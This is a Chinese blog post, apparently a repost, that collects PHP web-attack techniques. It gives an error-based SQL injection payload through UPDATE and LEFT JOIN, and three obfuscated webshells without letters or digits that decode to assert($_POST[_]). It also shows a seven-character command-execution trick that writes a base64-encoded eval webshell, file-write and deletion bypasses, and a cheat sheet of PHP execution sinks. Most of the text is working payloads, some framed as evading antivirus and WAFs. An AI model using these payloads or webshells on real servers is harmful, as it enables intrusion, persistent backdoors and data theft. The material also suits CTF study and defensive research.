PHP一些不一样的思路

大多数来自p牛

SQL注入(left join)

源代码

<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');

$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}` 
        SET `username`='admin'
        WHERE id=1";
if(!mysqli_query($link, $sql)) {
    echo(mysqli_error($link));
}
mysqli_close($link);

注入后语句

UPDATE `table` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=t.username
SET username='admin'
WHERE id=1;

注入思路

  1. 源代码使用addslashes过滤用户输入,因此单引号、双引号以及反斜杠都会被转义;

  2. 其次整个SQL语句没有写在单行代码中,因此无法使用正常的单行注释进行注释,UPDATE操作不同于SELECT操作,SELECT操作更加自由,它能自由组合UNION操作、分号多语句执行,但是UPDATE操作可与LEFT JOIN进行联合查询;
  3. 从源代码中看出,存在SQL语句的报错回显
    • char编码
    • 使用left join进行联合查询
    • 使用报错注入
    • char编码

不包含数字和字母的webshell

转载来源:PHITHON

感觉对免杀有帮助,过WAF的话,可以直接借助AntSword

源代码

<?php
    if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
      eval($_GET['shell']);
    }
?>

思路

通过将字符通过各种非字母数字的字符进行转换,然后构造出任意字符,最终利用PHP的动态函数执行的特性,凭借为一个函数名,并执行函数

PHP5和PHP7存在一定的差异,如:PHP5中assert可以作为函数执行任意代码,$f='assert';$f(...);

而PHP7中assert不是函数,而变成了语言结构,不能作为函数名执行代码,但可以利用其它函数同样getshell,如:file_put_content

PS: file_put_contents(filename,content,8)以追加模式写入文件

方法一

使用两个非字母非数字字符进行异或操作生成一个指定的字符,以此类推,得到所有预计的字母数字等

<?php
    $_='assert';            //$_='assert'
    $__='_'.'POST';         //$__='_'.'POST'
    $___=$$__;              //$___=$_POST
    $_($___[_]);            //assert($_POST[_])
?>

将每个字母通过两个非字母非数字字符进行异或获取,然后进行拼接

方法二

使用UTF-8编码的某个汉字,并将其中某个字符取出来,如:'和'{2}取汉字“和”的第二个字符结果为"\x8c",其取反即为字母s,通过这种方法可获取任意字母,其中2这个数字可以通过('>'>'<')+('>'>'<')获取

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);
?>

方法三

PHP中有这样几个特性:

  • 强制将数组和字符串进行拼接,数组会被转换成字符串,结果为Array

  • 'a'++得到b
  • 2等于('>'>'<')+('>'>'<')

<?php
$_=[];      //定义$_为数组格式
$_=@"$_";   //通过@关键字将数组强制转换成字符串,导致成为 $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
?>

php文件操作函数的特性

来源:http://www.am0s.com/functions/386.html

  1. file_put_contents的第一个参数为文件名,第二个参数为一个数组

    # for example
    http://127.0.0.1/shell.php?param[0]=<&param[1]=?php phpinfo();

    一般情况下,param为单一字符串参数,而因为后端语言为PHP,加之file_put_content的特性,因此此处可采用上述数组参数的格式

  2. file_put_contentscopyfile_get_contents等读写操作与unlinkfile_exists等判断文件函数之间对文件路径的处理存在一定的差异,导致当前面的读写文件的函数与判断文件的函数一起使用时,造成删除绕过;读写文件函数会在写文件之前将文件路径转换成绝对路径再进行处理,而判断文件函数只会判断文件名是否存在,对于相对路径是不会处理的,从而达到绕过

    linux可通过../test.php、test.php/. 来绕过删除
    windows可通过test.php:test tst.ph<绕过文件删除
    Windows举例(windows不支持 \ / : * ? " < > | 所以会自动将后面的字符过滤掉)
    http://127.0.0.1/l.php?user[name]=2.php:test&user[info]=2y 会生成2.php
    http://127.0.0.1/l.php?user[name]=2.ph<&user[info]=2y 会写入内容

    个人觉得删除临时文件时可能有一些用处,环境太复杂,很难有满足条件的实际场景

eval长度限制绕过

源代码

<?php
$param=$_REQUEST['param'];
if(strlen($param)<17&&strpos($param,'eval')===false&& strpos($param,'assert')==false){
    eval($param);
}
?>
  1. 参数长度小于等于16
  2. 不能使用asserteval函数

突破七个字符限制的任意命令执行

源代码

<?php
if(strlen($_GET[1])<8){
    echo shell_exec($_GET[1]);
}
?>

思路

首先这段PHP代码逻辑表明:必然能执行任意代码,并且只会受到长度限制,因此采用终极手段:Linux下的重定向。由于长度有限制,所以采用点婉转的手段

# w在linux下用于查看用户当前登录状态
# > 在Linux中代表重定向
# 下面的命令意思是:将w生成的输出重定向到文件名为php,结果在当前目录下就会生成文件名为php的文件,考虑到有些关键字母可能会影响命令执行,如>,因此在写入木马字符串时,采用经过base64编码的木马字符串,相当于采用这种方法生成一个一句话变形木马
w > php
# 上述方法可以在当前目录生成我们想要生成的文件名的文件,然后我们需要将这些文件名进行拼接形成一个完整的木马字符串,最后写入文件
#这条命令能按照时间顺序对文件进行排序,并将所有文件名进行拼接写入文件0中
ls -t>0
# 最后执行shell脚本,生成php木马文件
sh 0
# 文件名拼接后完整字符串为:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d>c.php

方法一:命令执行

eval

危害:执行任意PHP代码

参数:字符串

注意:在PHP5.x中,如果在执行的代码中存在parse error,不会影响后续代码的执行;但是在PHP7.x中,一旦执行的代码中存在一个parse error,那么后续代码中的eval函数就无法正常执行,并会抛出ParseError异常

assert

危害:第一个参数assertion被当做PHP代码执行

参数:必要参数assertion作为字符串会被当做代码进行执行,可选参数descriptionassertion执行失败时,作为错误信息返回的一部分进行显示

preg_replace

危害:当该函数使用/e修饰符时,preg_replace会把replacement参数当做PHP代码执行

参数:pattern是搜索的模式,字符串或字符串数组;replacement是要替换的字符串或字符串数组,subject是进行搜索和替换的字符串或字符串数组;limit是替换的次数,-1表示无限次;count指定完成替换的次数

原理:使用\e模式后,preg_replace函数在替换完字符串之后,会使用eval函数对结果进行执行以作评估,此处便达到了执行PHP代码的目的

注意:从PHP.5.5.0起,\e模式会产生E_DEPRECATED的错误;从PHP7.0.0起,\e会产生E_WARNING错误

create_function

危害:执行系统命令

使用方法:

第二个参数为回调函数,第一个参数作为回调函数的参数

$newFunc=create_function('$v','return system($v);');
$newFunc('whoami');

call_user_func

功能:命令执行

使用方法:第一个参数是作为回调函数,其他参数作为回调函数的参数

call_user_func(system,$_GET[cmd]);

call_user_func_array

功能:命令执行,与call_user_func_array类似

使用方法:

第一个参数作为回调函数,参数数组作为回调函数的参数

call_user_func_array(file_put_contents,['filename','木马字符串'])
call_user_func_array(system,[$_GET['cmd']])

文件包含

文件包含也分两种:本地文件包含、远程文件包含,可以直接getshell,也能通过file等协议读取本地文件

include($_GET['file']);
?file=php://filter/convert.base64-encode/resource=index.php
解释:?file=php://协议/过滤器/文件
  1. include
  2. require
  3. include_once
  4. require_once

命令执行函数

exec

功能:执行一个外部程序

使用方法:echo exec($_GET[cmd]);

passthru

功能:执行外部程序并显示原始输出

使用方法:passthru($_GET[cmd]);

proc_open

功能:执行一个命令,并打开用来输入/输出的文件

使用方法:https://php.net/manual/zh/function.proc-open.php

shell_exec

功能:通过shell环境执行命令,并将完整的输出以字符串的方式返回

使用方法:echo shell_exec($_GET[cmd]);

system

功能:执行外部程序,并显示输出

使用方法:system($_GET[cmd]);

popen

通过popen()的参数传递一条命令,并对popen打开的文件进行执行

使用方法:https://php.net/manual/zh/function.popen.php

猜你喜欢

转载自www.cnblogs.com/jerrylocker/p/10953031.html